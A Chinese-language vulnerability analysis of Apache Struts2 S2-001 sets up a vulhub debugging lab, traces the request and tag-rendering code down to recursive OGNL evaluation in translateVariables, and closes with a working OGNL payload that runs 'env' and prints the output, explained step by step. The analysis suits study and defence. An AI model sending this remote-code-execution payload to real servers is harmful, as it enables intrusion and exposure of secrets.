# Struts2-001
Strusts 下载链接,可以使用 vulhub
# 代码调试环境搭建
本文采用项目一般启动方式,也可以直接使用 vulhub 运行 docker 环境之后进行 jvm 远程调试。
新建项目
将 vulhub 中 s2-001 的代码粘贴覆盖到 webapp 目录中
添加项目库(右键 —> 添加为库),这样才能代码调试
设置断点,启动调试 tomcat:
# 网络请求调试 (对请求不感兴趣的可以不看)
根据 web.xml 配置
<filter> | |
<filter-name>struts2</filter-name> | |
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> | |
</filter> |
这是一个过滤器,会过滤我们的请求(通过执行 org.apache.struts2.dispatcher.FilterDispatcher类的doFilter
进行过滤),我们先跟踪这里:
doFilter
:
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { | |
HttpServletRequest request = (HttpServletRequest)req; | |
HttpServletResponse response = (HttpServletResponse)res; | |
ServletContext servletContext = this.getServletContext(); | |
String timerKey = "FilterDispatcher_doFilter: "; | |
try { | |
UtilTimerStack.push(timerKey); | |
request = this.prepareDispatcherAndWrapRequest(request, response); | |
ActionMapping mapping; | |
try { | |
mapping = actionMapper.getMapping(request, this.dispatcher.getConfigurationManager()); | |
} catch (Exception ex) { | |
LOG.error("error getting ActionMapping", ex); | |
this.dispatcher.sendError(request, response, servletContext, 500, ex); | |
return; | |
} | |
if (mapping == null) { | |
String resourcePath = RequestUtils.getServletPath(request); | |
if ("".equals(resourcePath) && null != request.getPathInfo()) { | |
resourcePath = request.getPathInfo(); | |
} | |
if (serveStatic && resourcePath.startsWith("/struts")) { | |
String name = resourcePath.substring("/struts".length()); | |
this.findStaticResource(name, request, response); | |
} else { | |
chain.doFilter(request, response); | |
} | |
} else { | |
this.dispatcher.serviceAction(request, response, servletContext, mapping); | |
} | |
} finally { | |
try { | |
ActionContextCleanUp.cleanUp(req); | |
} finally { | |
UtilTimerStack.pop(timerKey); | |
} | |
} | |
} |
- 先获取请求,创建 ServletContext(获取当前 Servlet 的上下文(
ServletContext
),用于在后续的操作中访问应用程序的环境信息)。 - 进行
prepareDispatcherAndWrapRequest
处理:- 代码先进行初始化 Dispatcher (管理请求分发和处理请求),
- 之后 WrapRequest 进行请求包装,对
multipart/form-data
类型的请求进行特殊处理(处理文件上传等,可以跟进代码查看如何 parse,这里不再跟进)。 - 之后返回请求。
- 获取 ActionMapping,根据当前请求获取相应的 ActionMapping(这里进行解析 url 并找到对应的 Action 类),ActionMapping 描述了请求映射到哪个 Action 类以及这个 Action 类如何配置。如果在获取
ActionMapping
时发生异常,日志会记录该错误,并且调用sendError
方法向客户端发送 500 错误响应。
-
如果没有找到对应的 action 映射,这解析路径,查看是否为静态资源请求,如果也不是静态资源请求那么传递给下一个过滤器。
-
如果找到 Mapping,则执行 ServiceAction
-
最后清理上下文,并结束计时。
接下来我们跟踪 serviceAction:
public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException { | |
Map<String, Object> extraContext = this.createContextMap(request, response, mapping, context); | |
ValueStack stack = (ValueStack)request.getAttribute("struts.valueStack"); | |
if (stack != null) { | |
extraContext.put("com.opensymphony.xwork2.util.ValueStack.ValueStack", ValueStackFactory.getFactory().createValueStack(stack)); | |
} | |
String timerKey = "Handling request from Dispatcher"; | |
try { | |
UtilTimerStack.push(timerKey); | |
String namespace = mapping.getNamespace(); | |
String name = mapping.getName(); | |
String method = mapping.getMethod(); | |
Configuration config = this.configurationManager.getConfiguration(); | |
ActionProxy proxy = ((ActionProxyFactory)config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy(namespace, name, extraContext, true, false); | |
proxy.setMethod(method); | |
request.setAttribute("struts.valueStack", proxy.getInvocation().getStack()); | |
if (mapping.getResult() != null) { | |
Result result = mapping.getResult(); | |
result.execute(proxy.getInvocation()); | |
} else { | |
proxy.execute(); | |
} | |
if (stack != null) { | |
request.setAttribute("struts.valueStack", stack); | |
} | |
} catch (ConfigurationException e) { | |
LOG.error("Could not find action or result", e); | |
this.sendError(request, response, context, 404, e); | |
} catch (Exception e) { | |
throw new ServletException(e); | |
} finally { | |
UtilTimerStack.pop(timerKey); | |
} | |
} |
-
先创建一个用于执行 Action 的上下文信息 (
extraContext
),跟进去查看下源码,都是一些请求参数 session 等放在这里面,以及上面的servletContext
也被放在里面了 -
获取 ValueStack,检查是否存在请求中如果不存在,那么创建一个放进
extraContext
-
获取 Action 的名称、命名空间和方法
-
namespace
:Action 的命名空间(之后可以看看是啥样的)。 -
name
:Action 的名称,即类名。 -
method
:Action 中要调用的方法名。 -
获取配置并创建 ActionProxy:
-
Configuration
:获取配置管理器的配置对象。 -
ActionProxyFactory
:通过ActionProxyFactory
创建一个ActionProxy
对象,ActionProxy
是执行 Action 的核心对象。它负责实际执行 Action,调用其方法,并处理结果。
-
-
将当前 Action 执行的 ValueStack 存储在请求中
-
mapping.getResult()
:检查ActionMapping
是否有指定的Result
对象。如果有,执行该Result
,通常是根据结果类型(如视图、重定向等)返回相应的响应。proxy.execute()
:如果没有指定特定的Result
,则直接执行ActionProxy
,通过调用 Action 的方法来处理请求。(之后可以跟进会执行 invocation 的 invoke 方法,之后执行所有的 Interception,最后执行下面的 executeresult, 最后执行 ServeletDispatcherResult)
这里 dispatcher.forward 就是将请求和回复发送到其他页面
之前是一些请求处理流程,接下来返回渲染 jsp 时存在利用点:
# 漏洞利用调试
下面是页面代码
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
-
注册标签库
<%@ taglib prefix="s" uri="/struts-tags" %>
通过注册标签库来告诉 JSP 容器如何处理这些标签 (前缀为 s 的标签)。相关的
struts-tags.tld
文件定义了标签及其处理类. -
标签类实现
以 TextFieldTag 类为例:
public class TextFieldTag extends AbstractUITag {
private static final long serialVersionUID = 5811285953670562288L;
protected String maxlength;
protected String readonly;
protected String size;
public TextFieldTag() {
}
public Component getBean(ValueStack stack, HttpServletRequest req, HttpServletResponse res) {
return new TextField(stack, req, res);
}
protected void populateParams() {
super.populateParams();
TextField textField = (TextField)this.component;
textField.setMaxlength(this.maxlength);
textField.setReadonly(this.readonly);
textField.setSize(this.size);
}
/** @deprecated */
public void setMaxLength(String maxlength) {
this.maxlength = maxlength;
}
public void setMaxlength(String maxlength) {
this.maxlength = maxlength;
}
public void setReadonly(String readonly) {
this.readonly = readonly;
}
public void setSize(String size) {
this.size = size;
}
}
-
处理标签流程
-
jsp 容器读取标签库(uri="/struts-tags")
-
解析标签库 (寻找对应的 struts-tags.tld) 文件,
textField
标签对应的TextFieldTag
类<s:textfield name="username" label="username" />
-
标签转发到 Struts2 的 TagSupport 类
Struts2 会创建标签的处理类实例(如
FormTag
)并调用其doStartTag()
和doEndTag()
方法。标签的属性(如action
、method
)会传递到标签类中。 -
执行标签逻辑,渲染输出
-
-
那么现在跟进 TextFiledTag 类,找到对应的
doStartTag()
和doEndTag()
方法找到继承的父类:
public abstract class ComponentTagSupport extends StrutsBodyTagSupport {
protected Component component;
public ComponentTagSupport() {
}
public abstract Component getBean(ValueStack var1, HttpServletRequest var2, HttpServletResponse var3);
public int doEndTag() throws JspException {
this.component.end(this.pageContext.getOut(), this.getBody());
this.component = null;
return 6;
}
public int doStartTag() throws JspException {
this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
Container container = Dispatcher.getInstance().getContainer();
container.inject(this.component);
this.populateParams();
boolean evalBody = this.component.start(this.pageContext.getOut());
if (evalBody) {
return this.component.usesBody() ? 2 : 1;
} else {
return 0;
}
}
protected void populateParams() {
this.component.setId(this.id);
}
public Component getComponent() {
return this.component;
}
}
我们在 doEndTag 设置断点,之后在执行完上面的 dispatchForward 之后会执行到这里:
跟进 evaluateParams 方法:
public void evaluateParams() {
this.addParameter("templateDir", this.getTemplateDir());
this.addParameter("theme", this.getTheme());
String name = null;
if (this.key != null) {
if (this.name == null) {
this.name = this.key;
}
if (this.label == null) {
this.label = "%{getText('" + this.key + "')}";
}
}
if (this.name != null) {
name = this.findString(this.name);
this.addParameter("name", name);
}
if (this.label != null) {
this.addParameter("label", this.findString(this.label));
}
if (this.labelPosition != null) {
this.addParameter("labelposition", this.findString(this.labelPosition));
}
if (this.requiredposition != null) {
this.addParameter("requiredposition", this.findString(this.requiredposition));
}
if (this.required != null) {
this.addParameter("required", this.findValue(this.required, Boolean.class));
}
if (this.disabled != null) {
this.addParameter("disabled", this.findValue(this.disabled, Boolean.class));
}
if (this.tabindex != null) {
this.addParameter("tabindex", this.findString(this.tabindex));
}
if (this.onclick != null) {
this.addParameter("onclick", this.findString(this.onclick));
}
if (this.ondblclick != null) {
this.addParameter("ondblclick", this.findString(this.ondblclick));
}
if (this.onmousedown != null) {
this.addParameter("onmousedown", this.findString(this.onmousedown));
}
if (this.onmouseup != null) {
this.addParameter("onmouseup", this.findString(this.onmouseup));
}
if (this.onmouseover != null) {
this.addParameter("onmouseover", this.findString(this.onmouseover));
}
if (this.onmousemove != null) {
this.addParameter("onmousemove", this.findString(this.onmousemove));
}
if (this.onmouseout != null) {
this.addParameter("onmouseout", this.findString(this.onmouseout));
}
if (this.onfocus != null) {
this.addParameter("onfocus", this.findString(this.onfocus));
}
if (this.onblur != null) {
this.addParameter("onblur", this.findString(this.onblur));
}
if (this.onkeypress != null) {
this.addParameter("onkeypress", this.findString(this.onkeypress));
}
if (this.onkeydown != null) {
this.addParameter("onkeydown", this.findString(this.onkeydown));
}
if (this.onkeyup != null) {
this.addParameter("onkeyup", this.findString(this.onkeyup));
}
if (this.onselect != null) {
this.addParameter("onselect", this.findString(this.onselect));
}
if (this.onchange != null) {
this.addParameter("onchange", this.findString(this.onchange));
}
if (this.accesskey != null) {
this.addParameter("accesskey", this.findString(this.accesskey));
}
if (this.cssClass != null) {
this.addParameter("cssClass", this.findString(this.cssClass));
}
if (this.cssStyle != null) {
this.addParameter("cssStyle", this.findString(this.cssStyle));
}
if (this.title != null) {
this.addParameter("title", this.findString(this.title));
}
if (this.parameters.containsKey("value")) {
this.parameters.put("nameValue", this.parameters.get("value"));
} else if (this.evaluateNameValue()) {
Class valueClazz = this.getValueClassType();
if (valueClazz != null) {
if (this.value != null) {
this.addParameter("nameValue", this.findValue(this.value, valueClazz));
} else if (name != null) {
String expr = name;
if (this.altSyntax()) {
expr = "%{" + name + "}";
}
this.addParameter("nameValue", this.findValue(expr, valueClazz));
}
} else if (this.value != null) {
this.addParameter("nameValue", this.findValue(this.value));
} else if (name != null) {
this.addParameter("nameValue", this.findValue(name));
}
}
Form form = (Form)this.findAncestor(Form.class);
this.populateComponentHtmlId(form);
if (form != null) {
this.addParameter("form", form.getParameters());
if (name != null) {
List tags = (List)form.getParameters().get("tagNames");
tags.add(name);
}
}
if (this.tooltipConfig != null) {
this.addParameter("tooltipConfig", this.findValue(this.tooltipConfig));
}
if (this.tooltip != null) {
this.addParameter("tooltip", this.findString(this.tooltip));
Map tooltipConfigMap = this.getTooltipConfig(this);
if (form != null) {
form.addParameter("hasTooltip", Boolean.TRUE);
Map overallTooltipConfigMap = this.getTooltipConfig(form);
overallTooltipConfigMap.putAll(tooltipConfigMap);
for(Map.Entry entry : overallTooltipConfigMap.entrySet()) {
this.addParameter((String)entry.getKey(), entry.getValue());
}
} else {
LOG.warn("No ancestor Form found, javascript based tooltip will not work, however standard HTML tooltip using alt and title attribute will still work ");
}
}
this.evaluateExtraParams();
}
前面都是些赋值操作,通过调试这些属性大多不是我们可控的,但是在调试过程执行的时候我们会看到有 findValue 函数,跟进看看:
protected Object findValue(String expr, Class toType) {
if (this.altSyntax() && toType == String.class) {
return TextParseUtil.translateVariables('%', expr, this.stack);
} else {
if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
expr = expr.substring(2, expr.length() - 1);
}
return this.getStack().findValue(expr, toType);
}
}
跟着调试的步骤 我们进入了 if 语句里面,再跟进去看看
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
这个函数大体看一下会解析变量 ,并且是一个死循环,只有一个 return 语句,就是当字符串不存在
{
的时候会返回最后的结果。接下来跟进
findValue
:执行之后会获取值,并直接返回。这个值是我们可控的,那么这个时候,返回之后,由于程序是一个死循环,会一直检查表达式中是否有
{}
存在, -
继续跟进 findValue
之后通过 getValue 获取到表达式的执行结果:
最后表达式为 2 退出 while 循环。
-
找一些 payload:
根据代码:
public static Object getValue(Object tree, Map context, Object root, Class resultType) throws OgnlException {
OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
Object result = ((Node)tree).getValue(ognlContext, root);
if (resultType != null) {
result = getTypeConverter(context).convertValue(context, root, (Member)null, (String)null, result, resultType);
}
return result;
}
最后执行的是 Ognl 表达式:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
解释:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}
- 创建并执行进程
#a = (new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start()
ProcessBuilder
是用于创建和启动本地操作系统进程的类。这里,它启动了一个新的进程来执行命令env
,该命令输出当前系统的环境变量。redirectErrorStream(true)
会将标准错误流和标准输出流合并,这样所有的输出都可以通过同一个流来读取。start()
启动进程并返回一个Process
对象。- 获取进程输出
#b=#a.getInputStream()
#a.getInputStream()
获取该进程的标准输出流。也就是env
命令的输出内容- 读取进程输出
#c = new java.io.InputStreamReader(#b)
#b
是进程的输入流(即标准输出流),InputStreamReader
是一个将字节流转换为字符流的类,它将#b
包装成字符流#c
。#d = new java.io.BufferedReader(#c)
BufferedReader
是一个用于高效读取字符流的类,#c
被包装成BufferedReader
以便更方便地逐行读取输入流。#e = new char[50000],
#d.read(#e),
#e
是一个字符数组,用于存储从BufferedReader
中读取的环境变量数据。读取进程的输出流内容并将其存储到字符数组#e
中。#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
从 OGNL 上下文中获取
HttpServletResponse
对象。HttpServletResponse
用于向客户端返回响应。#f.getWriter()
获取HttpServletResponse
的PrintWriter
,它用于向客户端输出数据。new java.lang.String(#e)
将字符数组#e
转换成字符串,输出到客户端。flush()
方法将PrintWriter
中缓冲的内容写入响应流中。close()
关闭输出流。